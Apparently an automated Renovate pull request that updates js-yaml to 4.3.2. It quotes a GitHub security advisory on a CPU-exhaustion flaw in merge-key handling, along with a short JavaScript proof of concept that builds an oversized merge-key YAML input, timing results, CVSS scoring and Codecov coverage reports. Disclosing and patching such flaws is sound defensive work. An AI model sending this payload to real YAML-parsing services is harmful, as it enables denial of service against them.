Update dependency js-yaml to v4.3.2 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Adoption	Passing	Confidence
js-yaml	4.3.1 → 4.3.2

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js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources

CVE-2026-84375 / GHSA-2883-xcg3-v3hh

More information

Details

Summary

maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.

Example

arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
  - <<: *arr                # repeated K times

For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.

PoC

import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'

const n = 20000

const src =
  'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
  'targets:\n' +
  '  - <<: *arr\n'.repeat(n)

const started = performance.now()

load(src, { schema: YAML11_SCHEMA })

console.log(`${(performance.now() - started).toFixed(1)} ms`)

Observed results:

N	YAML size	Time
800	~13 KB	~20 ms
3200	~50 KB	~180 ms
20000	~500 KB	~13 s

Impact

An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.

Fix

Count each merge-source mapping as one budget unit, in addition to counting its keys.

Difference with v5

In v3 & v4, merge is enabled by default. So, the severity score is higher.

Severity

• CVSS Score: 7.5 / 10 (High)
• Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

References

• https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh
• https://nvd.nist.gov/vuln/detail/CVE-2026-84375
• https://github.com/nodeca/js-yaml/pull/797
• https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639
• https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
• https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b
• https://github.com/nodeca/js-yaml/releases/tag/3.15.2
• https://github.com/nodeca/js-yaml/releases/tag/4.3.2
• https://github.com/advisories/GHSA-2883-xcg3-v3hh

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

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Release Notes

nodeca/js-yaml (js-yaml)

v4.3.2

Compare Source

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[codecov]

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 76.99%. Comparing base (2a772d8) to head (a31cf68).
✅ All tests successful. No failed tests found.

Additional details and impacted files

@@           Coverage Diff           @@
##             main     #430   +/-   ##
=======================================
  Coverage   76.99%   76.99%           
=======================================
  Files          51       51           
  Lines        3569     3569           
  Branches     1018     1018           
=======================================
  Hits         2748     2748           
  Misses        819      819           
  Partials        2        2           

🚀 New features to boost your workflow:

• 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

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Test Results

Coverage Summary

Node	Lines	Statements	Branches	Functions
22	75.94%	74.96%	61.59%	77.97%
24	75.94%	74.96%	61.59%	77.97%
25	75.94%	74.96%	61.59%	77.97%

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